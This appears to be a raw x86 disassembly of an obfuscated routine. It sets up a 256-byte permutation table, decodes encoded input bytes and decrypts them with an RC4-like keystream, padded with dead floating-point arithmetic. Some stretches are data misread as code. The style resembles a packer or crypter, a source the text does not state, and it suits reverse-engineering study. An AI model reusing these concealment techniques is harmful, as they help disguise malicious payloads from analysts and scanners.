mulsd xmm1, qword [ebp - 0x5360]
mulsd xmm1, qword [ebp - 0x5360]
addsd xmm1, qword [0x9d9f78]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x5710]
movsd qword [ebp - 0x5710], xmm0
movsd xmm0, qword [ebp - 0x5710]
comisd xmm0, xmmword [0x9da148]
jbe 0x48b2dd
movsd xmm0, qword [0x9d9cb0]
mulsd xmm0, qword [ebp - 0x5360]
movsd xmm1, qword [ebp - 0x5710]
subsd xmm1, xmm0
movsd qword [ebp - 0x5710], xmm1
jmp 0x48b219
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x5710]
jbe 0x48b32c
inc ecx
cmp ebp, dword [ebx + 0x7e]
ja 0x48b36a
xor al, 0x2e
sub dword [ebp + 0x6d], edx
pop edx
outsd dx, dword [esi]
dec edx
dec esi
inc esi
cmp dword [edx + 0x36], esp
jns 0x48b338
inc esi
and byte [esi + 0x65], cl
mov al, byte fs:[0xa23aa034]
inc eax
lodsd eax, dword [esi]
inc edx
mov eax, dword [0xa834af41]
mov byte ss:[0xaf42ad34], al
inc edx
cmpsb byte [esi], byte es:[edi]
cmp ah, byte [edx - 0x50cc55c8]
cmp eax, 0x2ee93ea4
pop ds
add byte [eax], al
mov dword [ebp - 0x6238], 0x48b309
mov dword [ebp - 0x6234], 0x48b2ef
mov eax, dword [ebp - 0x6238]
mov dword [ebp - 0x45e0], eax
mov ecx, dword [ebp - 0x6234]
mov dword [ebp - 0x6230], ecx
mov byte [ebp - 0x419e], 0x1e
mov dword [ebp - 0x3794], 0
mov dword [ebp - 0x4e50], 0
mov dword [ebp - 0x3794], 0
jmp 0x48b38e
int3
test dword [eax + 0xffffb1], esi
add byte [eax], al
add bh, al
test dword [eax + ecx*8 - 1], ebp
inc dword [eax]
add byte [eax], al
add bl, ch
jnp 0x112019
mov edx, dword [ebp - 0x3794]
add edx, 1
mov dword [ebp - 0x3794], edx
inc dword [ebx - 0x6a76fe3e]
insb byte es:[edi], dx
enter 0xffffffffffffffff, 0xffffffffffffff81
mov ebp, 0xffffc86c
add byte [ecx], al
add byte [eax], al
cmp dword [ebp - 0x3794], 0x100
jae 0x48b3b4
mov eax, dword [ebp - 0x3794]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
mov dl, byte [ebp - 0x3794]
mov byte [eax + ecx], dl
jmp 0x48b37f
mov dword [ebp - 0x4e50], 0
mov byte [ebp - 0x3772], 0
mov dword [ebp - 0x3794], 0xff
jmp 0x48b3e0
mov eax, dword [ebp - 0x3794]
sub eax, 1
mov dword [ebp - 0x3794], eax
cmp dword [ebp - 0x3794], 0
jbe 0x48b6a6
mov dword [ebp - 0x58f4], 0
mov dword [ebp - 0x5424], 1
mov dword [ebp - 0x48c0], 0
mov ecx, dword [ebp - 0x5424]
cmp ecx, dword [ebp - 0x3794]
jae 0x48b42c
mov edx, dword [ebp - 0x5424]
shl edx, 1
add edx, 1
mov dword [ebp - 0x5424], edx
jmp 0x48b40b
mov eax, dword [ebp - 0x4e50]
mov dword [ebp - 0x5f28], eax
cmp dword [ebp - 0x5f28], 3
ja case.default.0x48b44b
mov ecx, dword [ebp - 0x5f28]
jmp dword [ecx*4 + 0x4f078c]
movzx edx, byte [ebp - 0x3772]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5710]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3772], bl
jmp 0x48b552
movzx ecx, byte [ebp - 0x3772]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x5710]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3772], bl
jmp 0x48b552
movzx eax, byte [ebp - 0x3772]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x5710]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3772], bl
jmp 0x48b552
movzx edx, byte [ebp - 0x3772]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5710]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3772], bl
jmp 0x48b552
movzx ecx, byte [ebp - 0x3772]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ecx + edx]
mov ecx, dword [ebp - 0x4e50]
sub ecx, 4
shl ecx, 0
add ecx, dword [ebp - 0x6230]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3772], al
mov eax, dword [ebp - 0x4e50]
add eax, 1
mov dword [ebp - 0x4e50], eax
movzx ecx, byte [ebp - 0x419e]
cmp dword [ebp - 0x4e50], ecx
jb 0x48b590
mov dword [ebp - 0x4e50], 0
movzx edx, byte [ebp - 0x419e]
movzx eax, byte [ebp - 0x3772]
add eax, edx
mov byte [ebp - 0x3772], al
movzx ecx, byte [ebp - 0x3772]
and ecx, dword [ebp - 0x5424]
mov dword [ebp - 0x48c0], ecx
mov edx, dword [ebp - 0x58f4]
add edx, 1
mov dword [ebp - 0x58f4], edx
cmp dword [ebp - 0x58f4], 0xb
jbe 0x48b5cf
mov eax, dword [ebp - 0x48c0]
xor edx, edx
div dword [ebp - 0x3794]
mov dword [ebp - 0x48c0], edx
mov eax, dword [ebp - 0x48c0]
cmp eax, dword [ebp - 0x3794]
ja 0x48b42c
mov ecx, dword [ebp - 0x3794]
cmp ecx, dword [ebp - 0x48c0]
je 0x48b6a1
mov edx, dword [ebp - 0x3794]
shl edx, 0
lea eax, [ebp - 0x2ea8]
mov ecx, dword [ebp - 0x48c0]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x3794]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x48c0]
shl edx, 0
lea eax, [ebp - 0x2ea8]
mov ecx, dword [ebp - 0x3794]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x48c0]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x3794]
shl edx, 0
lea eax, [ebp - 0x2ea8]
mov ecx, dword [ebp - 0x48c0]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x3794]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
mov byte [eax + ecx], dl
jmp 0x48b3d1
mov edx, 1
shl edx, 0
lea eax, [ebp - 0x2ea8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35c2], cl
mov edx, 1
imul eax, edx, 3
lea ecx, [ebp - 0x2ea8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3608], dl
mov eax, 1
imul ecx, eax, 5
lea edx, [ebp - 0x2ea8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x36f3], al
mov ecx, 1
imul edx, ecx, 7
lea eax, [ebp - 0x2ea8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3607], cl
movzx edx, byte [ebp - 0x3772]
shl edx, 0
lea eax, [ebp - 0x2ea8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3646], cl
mov dword [ebp - 0x5bfc], 0x1e
cmp dword [ebp - 0x5bfc], 2
jle 0x48d209
mov edx, dword [ebp - 0x5bfc]
and edx, 1
jne 0x48d209
mov dword [ebp - 0x3794], 0
mov dword [ebp - 0x3d3c], 0
mov eax, dword [ebp - 0x3d3c]
add eax, 1
mov dword [ebp - 0x3d3c], eax
mov dword [ebp - 0x44f4], 0
mov ecx, dword [ebp - 0x3794]
shl ecx, 1
mov dword [ebp - 0x44f4], ecx
mov dword [ebp - 0x4394], 0
mov edx, dword [ebp - 0x44f4]
shl edx, 0
add edx, dword [ebp - 0x45e0]
movzx eax, byte [edx]
add eax, dword [ebp - 0x4394]
mov dword [ebp - 0x4394], eax
mov dword [ebp - 0x4398], 0
mov ecx, dword [ebp - 0x4398]
add ecx, 0xa0
mov dword [ebp - 0x4398], ecx
mov dword [ebp - 0x44f8], 0
mov edx, dword [ebp - 0x3794]
shl edx, 1
add edx, 1
mov dword [ebp - 0x44f8], edx
mov dword [ebp - 0x439c], 0
mov eax, dword [ebp - 0x44f8]
shl eax, 0
add eax, dword [ebp - 0x45e0]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x439c]
mov dword [ebp - 0x439c], ecx
mov dword [ebp - 0x43a0], 0
mov edx, dword [ebp - 0x43a0]
add edx, 0x33
mov dword [ebp - 0x43a0], edx
mov dword [ebp - 0x43a4], 0
mov eax, dword [ebp - 0x4394]
sub eax, dword [ebp - 0x4398]
add eax, dword [ebp - 0x43a4]
mov dword [ebp - 0x43a4], eax
mov dword [ebp - 0x43a8], 0
mov ecx, dword [ebp - 0x439c]
sub ecx, dword [ebp - 0x43a0]
add ecx, dword [ebp - 0x43a8]
mov dword [ebp - 0x43a8], ecx
mov dword [ebp - 0x44ec], 0
mov edx, dword [ebp - 0x43a4]
shl edx, 4
mov dword [ebp - 0x44ec], edx
mov dword [ebp - 0x44e8], 0
mov eax, dword [ebp - 0x43a8]
mov dword [ebp - 0x44e8], eax
mov dword [ebp - 0x44e4], 0
mov ecx, dword [ebp - 0x44ec]
or ecx, dword [ebp - 0x44e8]
mov dword [ebp - 0x44e4], ecx
mov byte [ebp - 0x36f4], 0
mov dl, byte [ebp - 0x44e4]
mov byte [ebp - 0x36f4], dl
mov byte [ebp - 0x36f2], 0
movzx eax, byte [ebp - 0x3646]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x36f2], dl
movzx eax, byte [ebp - 0x35c2]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3608]
add eax, edx
mov byte [ebp - 0x3608], al
mov cl, byte [ebp - 0x35c2]
add cl, 1
mov byte [ebp - 0x35c2], cl
movzx edx, byte [ebp - 0x3608]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [ebp - 0x3646]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3607]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [ebp - 0x3608]
shl edx, 0
lea esi, [ebp - 0x2ea8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movsd xmm0, qword [0x9db050]
movsd qword [ebp - 0x5dd4], xmm0
movsd xmm0, qword [0x9daf20]
movsd qword [ebp - 0x5bc0], xmm0
movsd xmm0, qword [0x9dad38]
movsd qword [ebp - 0x63dc], xmm0
movsd xmm0, qword [0x9daad8]
movsd qword [ebp - 0x4fd4], xmm0
movsd xmm0, qword [0x9da8b0]
movsd qword [ebp - 0x5bb8], xmm0
movsd xmm0, qword [0x9da658]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [0x9da400]
movsd qword [ebp - 0x5168], xmm0
movsd xmm0, qword [ebp - 0x5bb8]
subsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x5bb8], xmm0
movsd xmm0, qword [ebp - 0x4fd4]
mulsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x4fd4], xmm0
movsd xmm0, qword [ebp - 0x4fd4]
addsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x4fd4], xmm0
movsd xmm0, qword [ebp - 0x4edc]
mulsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [ebp - 0x5dd4]
mulsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x5dd4], xmm0
movsd xmm0, qword [ebp - 0x5dd4]
subsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x5dd4], xmm0
movsd xmm0, qword [ebp - 0x4fd4]
mulsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x4fd4], xmm0
movsd xmm0, qword [ebp - 0x4fd4]
comisd xmm0, xmmword [ebp - 0x5168]
jbe 0x48bb5d
movsd xmm0, qword [ebp - 0x4edc]
mulsd xmm0, qword [ebp - 0x5dd4]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [ebp - 0x4fd4]
mulsd xmm0, qword [ebp - 0x4edc]
movsd qword [ebp - 0x4fd4], xmm0
movsd xmm0, qword [ebp - 0x5168]
addsd xmm0, qword [ebp - 0x5bc0]
movsd qword [ebp - 0x5168], xmm0
movsd xmm0, qword [ebp - 0x5bc0]
subsd xmm0, qword [ebp - 0x4fd4]
movsd qword [ebp - 0x5bc0], xmm0
movsd xmm0, qword [ebp - 0x5bc0]
subsd xmm0, qword [ebp - 0x4fd4]
movsd qword [ebp - 0x5bc0], xmm0
movsd xmm0, qword [ebp - 0x4edc]
subsd xmm0, qword [ebp - 0x5dd4]
movsd qword [ebp - 0x4edc], xmm0
movzx ecx, byte [ebp - 0x35c2]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ebp - 0x3607]
shl eax, 0
lea esi, [ebp - 0x2ea8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movsd xmm0, qword [ebp - 0x4fd4]
addsd xmm0, qword [ebp - 0x4edc]
movsd qword [ebp - 0x4fd4], xmm0
jmp 0x48bc05
movsd xmm0, qword [ebp - 0x4edc]
mulsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [ebp - 0x5bc0]
subsd xmm0, qword [ebp - 0x63dc]
movsd qword [ebp - 0x5bc0], xmm0
movsd xmm0, qword [ebp - 0x4edc]
divsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [ebp - 0x5bb8]
mulsd xmm0, qword [ebp - 0x4edc]
movsd qword [ebp - 0x5bb8], xmm0
movsd xmm0, qword [ebp - 0x4fd4]
mulsd xmm0, qword [ebp - 0x5bb8]
movsd qword [ebp - 0x4fd4], xmm0
movsd xmm0, qword [ebp - 0x5bb8]
subsd xmm0, qword [ebp - 0x4edc]
movsd qword [ebp - 0x5bb8], xmm0
movsd xmm0, qword [ebp - 0x4edc]
divsd xmm0, qword [ebp - 0x5168]
movsd qword [ebp - 0x4edc], xmm0
movzx edx, byte [ebp - 0x35c2]
shl edx, 0
lea eax, [ebp - 0x2ea8]
mov cl, byte [ebp - 0x36f2]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x36f2]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x36f3]
add edx, ecx
mov byte [ebp - 0x36f3], dl
movzx eax, byte [ebp - 0x36f4]
movzx ecx, byte [ebp - 0x3608]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x35c2]
shl edx, 0
lea esi, [ebp - 0x2ea8]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3607]
shl edx, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3646]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x36f3]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3607], al
mov al, byte [ebp - 0x36f4]
mov byte [ebp - 0x3646], al
mov cl, byte [ebp - 0x3607]
mov byte [ebp - 0x37d6], cl
cmp dword [ebp - 0x3794], 0
jbe 0x48bd2b
mov edx, dword [ebp - 0x3794]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x1d40]
mov cl, byte [ebp - 0x37d6]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3d3c]
add edx, 5
mov dword [ebp - 0x3d3c], edx
mov eax, dword [ebp - 0x3794]
add eax, 1
mov dword [ebp - 0x4e4c], eax
jmp 0x48bd5a
mov ecx, dword [ebp - 0x4e4c]
add ecx, 1
mov dword [ebp - 0x4e4c], ecx
mov edx, dword [ebp - 0x4e4c]
cmp edx, dword [ebp - 0x3d3c]
jge 0x48c4b6
mov eax, dword [ebp - 0x3794]
add eax, 1
mov dword [ebp - 0x3794], eax
mov ecx, dword [ebp - 0x3794]
shl ecx, 1
mov dword [ebp - 0x44f4], ecx
mov edx, dword [ebp - 0x44f4]
shl edx, 0
add edx, dword [ebp - 0x45e0]
movzx eax, byte [edx]
mov dword [ebp - 0x4394], eax
mov dword [ebp - 0x4398], 0xa0
mov ecx, dword [ebp - 0x3794]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x44f8], ecx
mov edx, dword [ebp - 0x44f8]
shl edx, 0
add edx, dword [ebp - 0x45e0]
movzx eax, byte [edx]
mov dword [ebp - 0x439c], eax
mov dword [ebp - 0x43a0], 0x33
mov ecx, dword [ebp - 0x4394]
sub ecx, dword [ebp - 0x4398]
mov dword [ebp - 0x43a4], ecx
mov edx, dword [ebp - 0x439c]
sub edx, dword [ebp - 0x43a0]
mov dword [ebp - 0x43a8], edx
mov eax, dword [ebp - 0x43a4]
shl eax, 4
mov dword [ebp - 0x44ec], eax
mov ecx, dword [ebp - 0x43a8]
mov dword [ebp - 0x44e8], ecx
mov edx, dword [ebp - 0x44ec]
or edx, dword [ebp - 0x44e8]
mov dword [ebp - 0x44e4], edx
mov al, byte [ebp - 0x44e4]
mov byte [ebp - 0x36f4], al
movzx ecx, byte [ebp - 0x3646]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x36f2], al
movzx ecx, byte [ebp - 0x35c2]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3608]
add ecx, eax
mov byte [ebp - 0x3608], cl
mov dl, byte [ebp - 0x35c2]
add dl, 1
mov byte [ebp - 0x35c2], dl
movss xmm0, dword [0x9db7e8]
movss dword [ebp - 0x4490], xmm0
movss xmm0, dword [0x9db744]
movss dword [ebp - 0x40fc], xmm0
movss xmm0, dword [0x9db67c]
movss dword [ebp - 0x3e0c], xmm0
movss xmm0, dword [0x9db5a4]
movss dword [ebp - 0x3ae4], xmm0
movss xmm0, dword [0x9db4ec]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [0x9db404]
movss dword [ebp - 0x3c58], xmm0
movss xmm0, dword [0x9db334]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x3f20]
subss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [ebp - 0x3f20]
mulss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [ebp - 0x3ae4]
subss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3ae4], xmm0
movss xmm0, dword [ebp - 0x3ae4]
subss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3ae4], xmm0
movss xmm0, dword [ebp - 0x4490]
subss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x4490], xmm0
movss xmm0, dword [ebp - 0x3c58]
addss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3c58], xmm0
movss xmm0, dword [ebp - 0x3e0c]
mulss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3e0c], xmm0
movss xmm0, dword [ebp - 0x38e8]
comiss xmm0, dword [ebp - 0x3e0c]
jbe 0x48c272
movss xmm0, dword [ebp - 0x3c58]
divss xmm0, dword [ebp - 0x4490]
movss dword [ebp - 0x3c58], xmm0
movss xmm0, dword [ebp - 0x3f20]
subss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [ebp - 0x38e8]
mulss xmm0, dword [ebp - 0x40fc]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x3e0c]
addss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x3e0c], xmm0
movss xmm0, dword [ebp - 0x4490]
divss xmm0, dword [ebp - 0x3e0c]
movss dword [ebp - 0x4490], xmm0
movss xmm0, dword [ebp - 0x3ae4]
divss xmm0, dword [ebp - 0x3c58]
movss dword [ebp - 0x3ae4], xmm0
movss xmm0, dword [ebp - 0x38e8]
mulss xmm0, dword [ebp - 0x40fc]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x3c58]
divss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3c58], xmm0
movss xmm0, dword [ebp - 0x3c58]
divss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3c58], xmm0
movss xmm0, dword [ebp - 0x3c58]
subss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3c58], xmm0
movss xmm0, dword [ebp - 0x3c58]
subss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3c58], xmm0
movss xmm0, dword [ebp - 0x3ae4]
subss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x3ae4], xmm0
movss xmm0, dword [ebp - 0x4490]
mulss xmm0, dword [ebp - 0x40fc]
movss dword [ebp - 0x4490], xmm0
movss xmm0, dword [ebp - 0x3ae4]
mulss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x3ae4], xmm0
movss xmm0, dword [ebp - 0x3f20]
comiss xmm0, dword [ebp - 0x38e8]
jbe 0x48c1c5
movss xmm0, dword [ebp - 0x38e8]
mulss xmm0, dword [ebp - 0x40fc]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x3e0c]
divss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x3e0c], xmm0
movss xmm0, dword [ebp - 0x3e0c]
mulss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x3e0c], xmm0
movss xmm0, dword [ebp - 0x40fc]
divss xmm0, dword [ebp - 0x3ae4]
movss dword [ebp - 0x40fc], xmm0
movss xmm0, dword [ebp - 0x40fc]
addss xmm0, dword [ebp - 0x3ae4]
movss dword [ebp - 0x40fc], xmm0
movss xmm0, dword [ebp - 0x40fc]
subss xmm0, dword [ebp - 0x3ae4]
movss dword [ebp - 0x40fc], xmm0
movss xmm0, dword [ebp - 0x3e0c]
addss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x3e0c], xmm0
jmp 0x48c26d
movss xmm0, dword [ebp - 0x3ae4]
addss xmm0, dword [ebp - 0x3c58]
movss dword [ebp - 0x3ae4], xmm0
movss xmm0, dword [ebp - 0x3c58]
addss xmm0, dword [ebp - 0x4490]
movss dword [ebp - 0x3c58], xmm0
movss xmm0, dword [ebp - 0x3ae4]
subss xmm0, dword [ebp - 0x3c58]
movss dword [ebp - 0x3ae4], xmm0
movss xmm0, dword [ebp - 0x3e0c]
mulss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x3e0c], xmm0
movss xmm0, dword [ebp - 0x3ae4]
subss xmm0, dword [ebp - 0x3c58]
movss dword [ebp - 0x3ae4], xmm0
movss xmm0, dword [ebp - 0x3e0c]
mulss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x3e0c], xmm0
movss xmm0, dword [ebp - 0x40fc]
divss xmm0, dword [ebp - 0x3ae4]
movss dword [ebp - 0x40fc], xmm0
jmp 0x48c340
movss xmm0, dword [ebp - 0x4490]
addss xmm0, dword [ebp - 0x3e0c]
movss dword [ebp - 0x4490], xmm0
movss xmm0, dword [ebp - 0x40fc]
addss xmm0, dword [ebp - 0x3ae4]
movss dword [ebp - 0x40fc], xmm0
movss xmm0, dword [ebp - 0x38e8]
addss xmm0, dword [ebp - 0x40fc]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x4490]
subss xmm0, dword [ebp - 0x3e0c]
movss dword [ebp - 0x4490], xmm0
movzx eax, byte [ebp - 0x3608]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [ebp - 0x3646]
shl edx, 0
lea esi, [ebp - 0x2ea8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movss xmm0, dword [ebp - 0x38e8]
addss xmm0, dword [ebp - 0x40fc]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x3f20]
addss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [ebp - 0x3c58]
addss xmm0, dword [ebp - 0x4490]
movss dword [ebp - 0x3c58], xmm0
movzx ecx, byte [ebp - 0x3607]
shl ecx, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [ebp - 0x3608]
shl eax, 0
lea esi, [ebp - 0x2ea8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35c2]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx ecx, byte [ebp - 0x3607]
shl ecx, 0
lea esi, [ebp - 0x2ea8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35c2]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
mov dl, byte [ebp - 0x36f2]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x36f2]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x36f3]
add eax, edx
mov byte [ebp - 0x36f3], al
movzx ecx, byte [ebp - 0x36f4]
movzx edx, byte [ebp - 0x3608]
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x35c2]
shl eax, 0
lea esi, [ebp - 0x2ea8]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2ea8]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3607]
shl eax, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x3646]
shl edx, 0
lea esi, [ebp - 0x2ea8]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x36f3]
shl edx, 0
lea esi, [ebp - 0x2ea8]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2ea8]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3607], cl
mov cl, byte [ebp - 0x36f4]
mov byte [ebp - 0x3646], cl
mov dl, byte [ebp - 0x3607]
mov byte [ebp - 0x37d6], dl
cmp dword [ebp - 0x3794], 0
jbe 0x48c4b1
mov eax, dword [ebp - 0x3794]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x1d40]
mov dl, byte [ebp - 0x37d6]
mov byte [eax + ecx], dl
jmp 0x48bd4b
mov eax, dword [ebp - 0x3d3c]
add eax, 1
mov dword [ebp - 0x3d3c], eax
mov ecx, dword [ebp - 0x3794]
add ecx, 1
mov dword [ebp - 0x3794], ecx
mov edx, dword [ebp - 0x3d3c]
add edx, 1
mov dword [ebp - 0x3d3c], edx
mov eax, dword [ebp - 0x3794]
shl eax, 1
mov dword [ebp - 0x44f4], eax
mov ecx, dword [ebp - 0x44f4]
shl ecx, 0
add ecx, dword [ebp - 0x45e0]
movzx edx, byte [ecx]
mov dword [ebp - 0x4394], edx
mov dword [ebp - 0x4398], 0xa0
mov eax, dword [ebp - 0x3794]
shl eax, 1
add eax, 1
mov dword [ebp - 0x44f8], eax
mov ecx, dword [ebp - 0x44f8]
shl ecx, 0
add ecx, dword [ebp - 0x45e0]
movzx edx, byte [ecx]
mov dword [ebp - 0x439c], edx
mov dword [ebp - 0x43a0], 0x33
mov eax, dword [ebp - 0x4394]
sub eax, dword [ebp - 0x4398]
mov dword [ebp - 0x43a4], eax
mov ecx, dword [ebp - 0x439c]
sub ecx, dword [ebp - 0x43a0]
mov dword [ebp - 0x43a8], ecx
mov edx, dword [ebp - 0x43a4]
shl edx, 4
mov dword [ebp - 0x44ec], edx
mov eax, dword [ebp - 0x43a8]
mov dword [ebp - 0x44e8], eax
mov ecx, dword [ebp - 0x44ec]
or ecx, dword [ebp - 0x44e8]
mov dword [ebp - 0x44e4], ecx
mov dl, byte [ebp - 0x44e4]
mov byte [ebp - 0x36f4], dl
movzx eax, byte [ebp - 0x3646]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x36f2], dl
movzx eax, byte [ebp - 0x35c2]
shl eax, 0
lea ecx, [ebp - 0x2ea8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3608]
add eax, edx
mov byte [ebp - 0x3608], al
mov cl, byte [ebp - 0x35c2]
add cl, 1
mov byte [ebp - 0x35c2], cl
